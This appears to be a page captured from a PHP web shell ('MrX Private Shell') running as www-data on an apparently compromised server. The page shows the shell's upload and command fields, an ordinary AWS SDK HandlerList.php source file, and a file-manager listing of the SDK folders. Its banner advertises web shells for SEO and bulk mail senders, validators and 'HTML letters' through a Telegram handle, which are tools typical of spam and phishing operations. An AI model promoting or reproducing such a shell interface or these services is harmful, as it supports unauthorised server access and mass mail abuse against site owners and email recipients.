__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.148: ~ $
<?php
namespace Aws;

/**
 * Builds a single handler function from zero or more middleware functions and
 * a handler. The handler function is then used to send command objects and
 * return a promise that is resolved with an AWS result object.
 *
 * The "front" of the list is invoked before the "end" of the list. You can add
 * middleware to the front of the list using one of the "prepend" method, and
 * the end of the list using one of the "append" method. The last function
 * invoked in a handler list is the handler (a function that does not accept a
 * next handler but rather is responsible for returning a promise that is
 * fulfilled with an Aws\ResultInterface object).
 *
 * Handlers are ordered using a "step" that describes the step at which the
 * SDK is when sending a command. The available steps are:
 *
 * - init: The command is being initialized, allowing you to do things like add
 *   default options.
 * - validate: The command is being validated before it is serialized
 * - build: The command is being serialized into an HTTP request. A middleware
 *   in this step MUST serialize an HTTP request and populate the "@request"
 *   parameter of a command with the request such that it is available to
 *   subsequent middleware.
 * - sign: The request is being signed and prepared to be sent over the wire.
 *
 * Middleware can be registered with a name to allow you to easily add a
 * middleware before or after another middleware by name. This also allows you
 * to remove a middleware by name (in addition to removing by instance).
 */
class HandlerList implements \Countable
{
    const INIT = 'init';
    const VALIDATE = 'validate';
    const BUILD = 'build';
    const SIGN = 'sign';
    const ATTEMPT = 'attempt';

    /** @var callable */
    private $handler;

    /** @var array */
    private $named = [];

    /** @var array */
    private $sorted;

    /** @var callable|null */
    private $interposeFn;

    /** @var array Steps (in reverse order) */
    private $steps = [
        self::ATTEMPT  => [],
        self::SIGN     => [],
        self::BUILD    => [],
        self::VALIDATE => [],
        self::INIT     => [],
    ];

    /**
     * @param callable $handler HTTP handler.
     */
    public function __construct(callable $handler = null)
    {
        $this->handler = $handler;
    }

    /**
     * Dumps a string representation of the list.
     *
     * @return string
     */
    public function __toString()
    {
        $str = '';
        $i = 0;

        foreach (array_reverse($this->steps) as $k => $step) {
            foreach (array_reverse($step) as $j => $tuple) {
                $str .= "{$i}) Step: {$k}, ";
                if ($tuple[1]) {
                    $str .= "Name: {$tuple[1]}, ";
                }
                $str .= "Function: " . $this->debugCallable($tuple[0]) . "\n";
                $i++;
            }
        }

        if ($this->handler) {
            $str .= "{$i}) Handler: " . $this->debugCallable($this->handler) . "\n";
        }

        return $str;
    }

    /**
     * Set the HTTP handler that actually returns a response.
     *
     * @param callable $handler Function that accepts a request and array of
     *                          options and returns a Promise.
     */
    public function setHandler(callable $handler)
    {
        $this->handler = $handler;
    }

    /**
     * Returns true if the builder has a handler.
     *
     * @return bool
     */
    public function hasHandler()
    {
        return (bool) $this->handler;
    }

    /**
     * Append a middleware to the init step.
     *
     * @param callable $middleware Middleware function to add.
     * @param string   $name       Name of the middleware.
     */
    public function appendInit(callable $middleware, $name = null)
    {
        $this->add(self::INIT, $name, $middleware);
    }

    /**
     * Prepend a middleware to the init step.
     *
     * @param callable $middleware Middleware function to add.
     * @param string   $name       Name of the middleware.
     */
    public function prependInit(callable $middleware, $name = null)
    {
        $this->add(self::INIT, $name, $middleware, true);
    }

    /**
     * Append a middleware to the validate step.
     *
     * @param callable $middleware Middleware function to add.
     * @param string   $name       Name of the middleware.
     */
    public function appendValidate(callable $middleware, $name = null)
    {
        $this->add(self::VALIDATE, $name, $middleware);
    }

    /**
     * Prepend a middleware to the validate step.
     *
     * @param callable $middleware Middleware function to add.
     * @param string   $name       Name of the middleware.
     */
    public function prependValidate(callable $middleware, $name = null)
    {
        $this->add(self::VALIDATE, $name, $middleware, true);
    }

    /**
     * Append a middleware to the build step.
     *
     * @param callable $middleware Middleware function to add.
     * @param string   $name       Name of the middleware.
     */
    public function appendBuild(callable $middleware, $name = null)
    {
        $this->add(self::BUILD, $name, $middleware);
    }

    /**
     * Prepend a middleware to the build step.
     *
     * @param callable $middleware Middleware function to add.
     * @param string   $name       Name of the middleware.
     */
    public function prependBuild(callable $middleware, $name = null)
    {
        $this->add(self::BUILD, $name, $middleware, true);
    }

    /**
     * Append a middleware to the sign step.
     *
     * @param callable $middleware Middleware function to add.
     * @param string   $name       Name of the middleware.
     */
    public function appendSign(callable $middleware, $name = null)
    {
        $this->add(self::SIGN, $name, $middleware);
    }

    /**
     * Prepend a middleware to the sign step.
     *
     * @param callable $middleware Middleware function to add.
     * @param string   $name       Name of the middleware.
     */
    public function prependSign(callable $middleware, $name = null)
    {
        $this->add(self::SIGN, $name, $middleware, true);
    }

    /**
     * Append a middleware to the attempt step.
     *
     * @param callable $middleware Middleware function to add.
     * @param string   $name       Name of the middleware.
     */
    public function appendAttempt(callable $middleware, $name = null)
    {
        $this->add(self::ATTEMPT, $name, $middleware);
    }

    /**
     * Prepend a middleware to the attempt step.
     *
     * @param callable $middleware Middleware function to add.
     * @param string   $name       Name of the middleware.
     */
    public function prependAttempt(callable $middleware, $name = null)
    {
        $this->add(self::ATTEMPT, $name, $middleware, true);
    }

    /**
     * Add a middleware before the given middleware by name.
     *
     * @param string|callable $findName   Add before this
     * @param string          $withName   Optional name to give the middleware
     * @param callable        $middleware Middleware to add.
     */
    public function before($findName, $withName, callable $middleware)
    {
        $this->splice($findName, $withName, $middleware, true);
    }

    /**
     * Add a middleware after the given middleware by name.
     *
     * @param string|callable $findName   Add after this
     * @param string          $withName   Optional name to give the middleware
     * @param callable        $middleware Middleware to add.
     */
    public function after($findName, $withName, callable $middleware)
    {
        $this->splice($findName, $withName, $middleware, false);
    }

    /**
     * Remove a middleware by name or by instance from the list.
     *
     * @param string|callable $nameOrInstance Middleware to remove.
     */
    public function remove($nameOrInstance)
    {
        if (is_callable($nameOrInstance)) {
            $this->removeByInstance($nameOrInstance);
        } elseif (is_string($nameOrInstance)) {
            $this->removeByName($nameOrInstance);
        }
    }

    /**
     * Interpose a function between each middleware (e.g., allowing for a trace
     * through the middleware layers).
     *
     * The interpose function is a function that accepts a "step" argument as a
     * string and a "name" argument string. This function must then return a
     * function that accepts the next handler in the list. This function must
     * then return a function that accepts a CommandInterface and optional
     * RequestInterface and returns a promise that is fulfilled with an
     * Aws\ResultInterface or rejected with an Aws\Exception\AwsException
     * object.
     *
     * @param callable|null $fn Pass null to remove any previously set function
     */
    public function interpose(callable $fn = null)
    {
        $this->sorted = null;
        $this->interposeFn = $fn;
    }

    /**
     * Compose the middleware and handler into a single callable function.
     *
     * @return callable
     */
    public function resolve()
    {
        if (!($prev = $this->handler)) {
            throw new \LogicException('No handler has been specified');
        }

        if ($this->sorted === null) {
            $this->sortMiddleware();
        }

        foreach ($this->sorted as $fn) {
            $prev = $fn($prev);
        }

        return $prev;
    }

    /**
     * @return int
     */
    #[\ReturnTypeWillChange]
    public function count()
    {
        return count($this->steps[self::INIT])
            + count($this->steps[self::VALIDATE])
            + count($this->steps[self::BUILD])
            + count($this->steps[self::SIGN])
            + count($this->steps[self::ATTEMPT]);
    }

    /**
     * Splices a function into the middleware list at a specific position.
     *
     * @param          $findName
     * @param          $withName
     * @param callable $middleware
     * @param          $before
     */
    private function splice($findName, $withName, callable $middleware, $before)
    {
        if (!isset($this->named[$findName])) {
            throw new \InvalidArgumentException("$findName not found");
        }

        $idx = $this->sorted = null;
        $step = $this->named[$findName];

        if ($withName) {
            $this->named[$withName] = $step;
        }

        foreach ($this->steps[$step] as $i => $tuple) {
            if ($tuple[1] === $findName) {
                $idx = $i;
                break;
            }
        }

        $replacement = $before
            ? [$this->steps[$step][$idx], [$middleware, $withName]]
            : [[$middleware, $withName], $this->steps[$step][$idx]];
        array_splice($this->steps[$step], $idx, 1, $replacement);
    }

    /**
     * Provides a debug string for a given callable.
     *
     * @param array|callable $fn Function to write as a string.
     *
     * @return string
     */
    private function debugCallable($fn)
    {
        if (is_string($fn)) {
            return "callable({$fn})";
        }

        if (is_array($fn)) {
            $ele = is_string($fn[0]) ? $fn[0] : get_class($fn[0]);
            return "callable(['{$ele}', '{$fn[1]}'])";
        }

        return 'callable(' . spl_object_hash($fn) . ')';
    }

    /**
     * Sort the middleware, and interpose if needed in the sorted list.
     */
    private function sortMiddleware()
    {
        $this->sorted = [];

        if (!$this->interposeFn) {
            foreach ($this->steps as $step) {
                foreach ($step as $fn) {
                    $this->sorted[] = $fn[0];
                }
            }
            return;
        }

        $ifn = $this->interposeFn;
        // Interpose the interposeFn into the handler stack.
        foreach ($this->steps as $stepName => $step) {
            foreach ($step as $fn) {
                $this->sorted[] = $ifn($stepName, $fn[1]);
                $this->sorted[] = $fn[0];
            }
        }
    }

    private function removeByName($name)
    {
        if (!isset($this->named[$name])) {
            return;
        }

        $this->sorted = null;
        $step = $this->named[$name];
        $this->steps[$step] = array_values(
            array_filter(
                $this->steps[$step],
                function ($tuple) use ($name) {
                    return $tuple[1] !== $name;
                }
            )
        );
    }

    private function removeByInstance(callable $fn)
    {
        foreach ($this->steps as $k => $step) {
            foreach ($step as $j => $tuple) {
                if ($tuple[0] === $fn) {
                    $this->sorted = null;
                    unset($this->named[$this->steps[$k][$j][1]]);
                    unset($this->steps[$k][$j]);
                }
            }
        }
    }

    /**
     * Add a middleware to a step.
     *
     * @param string   $step       Middleware step.
     * @param string   $name       Middleware name.
     * @param callable $middleware Middleware function to add.
     * @param bool     $prepend    Prepend instead of append.
     */
    private function add($step, $name, callable $middleware, $prepend = false)
    {
        $this->sorted = null;

        if ($prepend) {
            $this->steps[$step][] = [$middleware, $name];
        } else {
            array_unshift($this->steps[$step], [$middleware, $name]);
        }

        if ($name) {
            $this->named[$name] = $step;
        }
    }
}

Filemanager

Name Type Size Permission Actions
ACMPCA Folder 0755
ARCZonalShift Folder 0755
AccessAnalyzer Folder 0755
Account Folder 0755
Acm Folder 0755
Amplify Folder 0755
AmplifyBackend Folder 0755
AmplifyUIBuilder Folder 0755
Api Folder 0755
ApiGateway Folder 0755
ApiGatewayManagementApi Folder 0755
ApiGatewayV2 Folder 0755
AppConfig Folder 0755
AppConfigData Folder 0755
AppFabric Folder 0755
AppIntegrationsService Folder 0755
AppMesh Folder 0755
AppRegistry Folder 0755
AppRunner Folder 0755
AppSync Folder 0755
AppTest Folder 0755
Appflow Folder 0755
ApplicationAutoScaling Folder 0755
ApplicationCostProfiler Folder 0755
ApplicationDiscoveryService Folder 0755
ApplicationInsights Folder 0755
ApplicationSignals Folder 0755
Appstream Folder 0755
Arn Folder 0755
Artifact Folder 0755
Athena Folder 0755
AuditManager Folder 0755
AugmentedAIRuntime Folder 0755
Auth Folder 0755
AutoScaling Folder 0755
AutoScalingPlans Folder 0755
B2bi Folder 0755
BCMDataExports Folder 0755
Backup Folder 0755
BackupGateway Folder 0755
Batch Folder 0755
Bedrock Folder 0755
BedrockAgent Folder 0755
BedrockAgentRuntime Folder 0755
BedrockRuntime Folder 0755
BillingConductor Folder 0755
Braket Folder 0755
Budgets Folder 0755
Chatbot Folder 0755
Chime Folder 0755
ChimeSDKIdentity Folder 0755
ChimeSDKMediaPipelines Folder 0755
ChimeSDKMeetings Folder 0755
ChimeSDKMessaging Folder 0755
ChimeSDKVoice Folder 0755
CleanRooms Folder 0755
CleanRoomsML Folder 0755
ClientSideMonitoring Folder 0755
Cloud9 Folder 0755
CloudControlApi Folder 0755
CloudDirectory Folder 0755
CloudFormation Folder 0755
CloudFront Folder 0755
CloudFrontKeyValueStore Folder 0755
CloudHSMV2 Folder 0755
CloudHsm Folder 0755
CloudSearch Folder 0755
CloudSearchDomain Folder 0755
CloudTrail Folder 0755
CloudTrailData Folder 0755
CloudWatch Folder 0755
CloudWatchEvents Folder 0755
CloudWatchEvidently Folder 0755
CloudWatchLogs Folder 0755
CloudWatchRUM Folder 0755
CodeArtifact Folder 0755
CodeBuild Folder 0755
CodeCatalyst Folder 0755
CodeCommit Folder 0755
CodeConnections Folder 0755
CodeDeploy Folder 0755
CodeGuruProfiler Folder 0755
CodeGuruReviewer Folder 0755
CodeGuruSecurity Folder 0755
CodePipeline Folder 0755
CodeStar Folder 0755
CodeStarNotifications Folder 0755
CodeStarconnections Folder 0755
CognitoIdentity Folder 0755
CognitoIdentityProvider Folder 0755
CognitoSync Folder 0755
Comprehend Folder 0755
ComprehendMedical Folder 0755
ComputeOptimizer Folder 0755
ConfigService Folder 0755
Configuration Folder 0755
Connect Folder 0755
ConnectCampaignService Folder 0755
ConnectCases Folder 0755
ConnectContactLens Folder 0755
ConnectParticipant Folder 0755
ConnectWisdomService Folder 0755
ControlCatalog Folder 0755
ControlTower Folder 0755
CostExplorer Folder 0755
CostOptimizationHub Folder 0755
CostandUsageReportService Folder 0755
Credentials Folder 0755
Crypto Folder 0755
CustomerProfiles Folder 0755
DAX Folder 0755
DLM Folder 0755
DataExchange Folder 0755
DataPipeline Folder 0755
DataSync Folder 0755
DataZone Folder 0755
DatabaseMigrationService Folder 0755
Deadline Folder 0755
DefaultsMode Folder 0755
Detective Folder 0755
DevOpsGuru Folder 0755
DeviceFarm Folder 0755
DirectConnect Folder 0755
DirectoryService Folder 0755
DocDB Folder 0755
DocDBElastic Folder 0755
DynamoDb Folder 0755
DynamoDbStreams Folder 0755
EBS Folder 0755
EC2InstanceConnect Folder 0755
ECRPublic Folder 0755
EKS Folder 0755
EKSAuth Folder 0755
EMRContainers Folder 0755
EMRServerless Folder 0755
Ec2 Folder 0755
Ecr Folder 0755
Ecs Folder 0755
Efs Folder 0755
ElastiCache Folder 0755
ElasticBeanstalk Folder 0755
ElasticInference Folder 0755
ElasticLoadBalancing Folder 0755
ElasticLoadBalancingV2 Folder 0755
ElasticTranscoder Folder 0755
ElasticsearchService Folder 0755
Emr Folder 0755
Endpoint Folder 0755
EndpointDiscovery Folder 0755
EndpointV2 Folder 0755
EntityResolution Folder 0755
EventBridge Folder 0755
Exception Folder 0755
FIS Folder 0755
FMS Folder 0755
FSx Folder 0755
FinSpaceData Folder 0755
Firehose Folder 0755
ForecastQueryService Folder 0755
ForecastService Folder 0755
FraudDetector Folder 0755
FreeTier Folder 0755
GameLift Folder 0755
Glacier Folder 0755
GlobalAccelerator Folder 0755
Glue Folder 0755
GlueDataBrew Folder 0755
Greengrass Folder 0755
GreengrassV2 Folder 0755
GroundStation Folder 0755
GuardDuty Folder 0755
Handler Folder 0755
Health Folder 0755
HealthLake Folder 0755
IVS Folder 0755
IVSRealTime Folder 0755
Iam Folder 0755
Identity Folder 0755
IdentityStore Folder 0755
ImportExport Folder 0755
Inspector Folder 0755
Inspector2 Folder 0755
InspectorScan Folder 0755
InternetMonitor Folder 0755
IoT1ClickDevicesService Folder 0755
IoT1ClickProjects Folder 0755
IoTAnalytics Folder 0755
IoTDeviceAdvisor Folder 0755
IoTEvents Folder 0755
IoTEventsData Folder 0755
IoTFleetHub Folder 0755
IoTFleetWise Folder 0755
IoTJobsDataPlane Folder 0755
IoTSecureTunneling Folder 0755
IoTSiteWise Folder 0755
IoTThingsGraph Folder 0755
IoTTwinMaker Folder 0755
IoTWireless Folder 0755
Iot Folder 0755
IotDataPlane Folder 0755
Kafka Folder 0755
KafkaConnect Folder 0755
KendraRanking Folder 0755
Keyspaces Folder 0755
Kinesis Folder 0755
KinesisAnalytics Folder 0755
KinesisAnalyticsV2 Folder 0755
KinesisVideo Folder 0755
KinesisVideoArchivedMedia Folder 0755
KinesisVideoMedia Folder 0755
KinesisVideoSignalingChannels Folder 0755
KinesisVideoWebRTCStorage Folder 0755
Kms Folder 0755
LakeFormation Folder 0755
Lambda Folder 0755
LaunchWizard Folder 0755
LexModelBuildingService Folder 0755
LexModelsV2 Folder 0755
LexRuntimeService Folder 0755
LexRuntimeV2 Folder 0755
LicenseManager Folder 0755
LicenseManagerLinuxSubscriptions Folder 0755
LicenseManagerUserSubscriptions Folder 0755
Lightsail Folder 0755
LocationService Folder 0755
LookoutEquipment Folder 0755
LookoutMetrics Folder 0755
LookoutforVision Folder 0755
MQ Folder 0755
MTurk Folder 0755
MWAA Folder 0755
MachineLearning Folder 0755
Macie2 Folder 0755
MailManager Folder 0755
MainframeModernization Folder 0755
ManagedBlockchain Folder 0755
ManagedBlockchainQuery Folder 0755
ManagedGrafana Folder 0755
MarketplaceAgreement Folder 0755
MarketplaceCatalog Folder 0755
MarketplaceCommerceAnalytics Folder 0755
MarketplaceDeployment Folder 0755
MarketplaceEntitlementService Folder 0755
MarketplaceMetering Folder 0755
MediaConnect Folder 0755
MediaConvert Folder 0755
MediaLive Folder 0755
MediaPackage Folder 0755
MediaPackageV2 Folder 0755
MediaPackageVod Folder 0755
MediaStore Folder 0755
MediaStoreData Folder 0755
MediaTailor Folder 0755
MedicalImaging Folder 0755
MemoryDB Folder 0755
MigrationHub Folder 0755
MigrationHubConfig Folder 0755
MigrationHubOrchestrator Folder 0755
MigrationHubRefactorSpaces Folder 0755
MigrationHubStrategyRecommendations Folder 0755
Multipart Folder 0755
Neptune Folder 0755
NeptuneGraph Folder 0755
Neptunedata Folder 0755
NetworkFirewall Folder 0755
NetworkManager Folder 0755
NetworkMonitor Folder 0755
NimbleStudio Folder 0755
OAM Folder 0755
OSIS Folder 0755
Omics Folder 0755
OpenSearchServerless Folder 0755
OpenSearchService Folder 0755
OpsWorks Folder 0755
OpsWorksCM Folder 0755
Organizations Folder 0755
Outposts Folder 0755
PI Folder 0755
Panorama Folder 0755
PaymentCryptography Folder 0755
PaymentCryptographyData Folder 0755
PcaConnectorAd Folder 0755
PcaConnectorScep Folder 0755
Personalize Folder 0755
PersonalizeEvents Folder 0755
PersonalizeRuntime Folder 0755
Pinpoint Folder 0755
PinpointEmail Folder 0755
PinpointSMSVoice Folder 0755
PinpointSMSVoiceV2 Folder 0755
Pipes Folder 0755
Polly Folder 0755
Pricing Folder 0755
PrivateNetworks Folder 0755
PrometheusService Folder 0755
Proton Folder 0755
QApps Folder 0755
QBusiness Folder 0755
QConnect Folder 0755
QLDB Folder 0755
QLDBSession Folder 0755
QuickSight Folder 0755
RAM Folder 0755
RDSDataService Folder 0755
Rds Folder 0755
RecycleBin Folder 0755
Redshift Folder 0755
RedshiftDataAPIService Folder 0755
RedshiftServerless Folder 0755
Rekognition Folder 0755
Repostspace Folder 0755
ResilienceHub Folder 0755
ResourceExplorer2 Folder 0755
ResourceGroups Folder 0755
ResourceGroupsTaggingAPI Folder 0755
Retry Folder 0755
RoboMaker Folder 0755
RolesAnywhere Folder 0755
Route53 Folder 0755
Route53Domains Folder 0755
Route53Profiles Folder 0755
Route53RecoveryCluster Folder 0755
Route53RecoveryControlConfig Folder 0755
Route53RecoveryReadiness Folder 0755
Route53Resolver Folder 0755
S3 Folder 0755
S3Control Folder 0755
S3Outposts Folder 0755
SSMContacts Folder 0755
SSMIncidents Folder 0755
SSMQuickSetup Folder 0755
SSO Folder 0755
SSOAdmin Folder 0755
SSOOIDC Folder 0755
SageMaker Folder 0755
SageMakerFeatureStoreRuntime Folder 0755
SageMakerGeospatial Folder 0755
SageMakerMetrics Folder 0755
SageMakerRuntime Folder 0755
SagemakerEdgeManager Folder 0755
SavingsPlans Folder 0755
Scheduler Folder 0755
Schemas Folder 0755
Script Folder 0755
SecretsManager Folder 0755
SecurityHub Folder 0755
SecurityLake Folder 0755
ServerlessApplicationRepository Folder 0755
ServiceCatalog Folder 0755
ServiceDiscovery Folder 0755
ServiceQuotas Folder 0755
Ses Folder 0755
SesV2 Folder 0755
Sfn Folder 0755
Shield Folder 0755
Signature Folder 0755
SimSpaceWeaver Folder 0755
Sms Folder 0755
SnowBall Folder 0755
SnowDeviceManagement Folder 0755
Sns Folder 0755
Sqs Folder 0755
Ssm Folder 0755
SsmSap Folder 0755
StorageGateway Folder 0755
Sts Folder 0755
SupplyChain Folder 0755
Support Folder 0755
SupportApp Folder 0755
Swf Folder 0755
Synthetics Folder 0755
TaxSettings Folder 0755
Textract Folder 0755
TimestreamInfluxDB Folder 0755
TimestreamQuery Folder 0755
TimestreamWrite Folder 0755
Tnb Folder 0755
Token Folder 0755
TranscribeService Folder 0755
Transfer Folder 0755
Translate Folder 0755
TrustedAdvisor Folder 0755
VPCLattice Folder 0755
VerifiedPermissions Folder 0755
VoiceID Folder 0755
WAFV2 Folder 0755
Waf Folder 0755
WafRegional Folder 0755
WellArchitected Folder 0755
WorkDocs Folder 0755
WorkLink Folder 0755
WorkMail Folder 0755
WorkMailMessageFlow Folder 0755
WorkSpaces Folder 0755
WorkSpacesThinClient Folder 0755
WorkSpacesWeb Folder 0755
XRay Folder 0755
data Folder 0755
drs Folder 0755
finspace Folder 0755
imagebuilder Folder 0755
ivschat Folder 0755
kendra Folder 0755
mgn Folder 0755
signer Folder 0755
AbstractConfigurationProvider.php File 4.46 KB 0644
AwsClient.php File 27.96 KB 0644
AwsClientInterface.php File 5.4 KB 0644
AwsClientTrait.php File 2.67 KB 0644
CacheInterface.php File 755 B 0644
ClientResolver.php File 56.45 KB 0644
Command.php File 2.96 KB 0644
CommandInterface.php File 946 B 0644
CommandPool.php File 5.23 KB 0644
ConfigurationProviderInterface.php File 246 B 0644
DoctrineCacheAdapter.php File 989 B 0644
EndpointParameterMiddleware.php File 2.73 KB 0644
HandlerList.php File 13.24 KB 0644
HasDataTrait.php File 1.46 KB 0644
HasMonitoringEventsTrait.php File 869 B 0644
HashInterface.php File 531 B 0644
HashingStream.php File 1.55 KB 0644
History.php File 3.9 KB 0644
IdempotencyTokenMiddleware.php File 3.69 KB 0644
InputValidationMiddleware.php File 2.44 KB 0644
JsonCompiler.php File 478 B 0644
LruArrayCache.php File 2.22 KB 0644
Middleware.php File 15.62 KB 0644
MockHandler.php File 4.09 KB 0644
MonitoringEventsInterface.php File 742 B 0644
MultiRegionClient.php File 8.79 KB 0644
PhpHash.php File 1.81 KB 0644
PresignUrlMiddleware.php File 4.53 KB 0644
Psr16CacheAdapter.php File 572 B 0644
PsrCacheAdapter.php File 742 B 0644
QueryCompatibleInputMiddleware.php File 5.81 KB 0644
RequestCompressionMiddleware.php File 4.81 KB 0644
ResponseContainerInterface.php File 246 B 0644
Result.php File 1.14 KB 0644
ResultInterface.php File 1.34 KB 0644
ResultPaginator.php File 5.87 KB 0644
RetryMiddleware.php File 8.47 KB 0644
RetryMiddlewareV2.php File 11.67 KB 0644
Sdk.php File 66.76 KB 0644
StreamRequestPayloadMiddleware.php File 2.57 KB 0644
TraceMiddleware.php File 12.36 KB 0644
Waiter.php File 8.42 KB 0644
WrappedHttpHandler.php File 6.99 KB 0644
functions.php File 15.21 KB 0644
Filemanager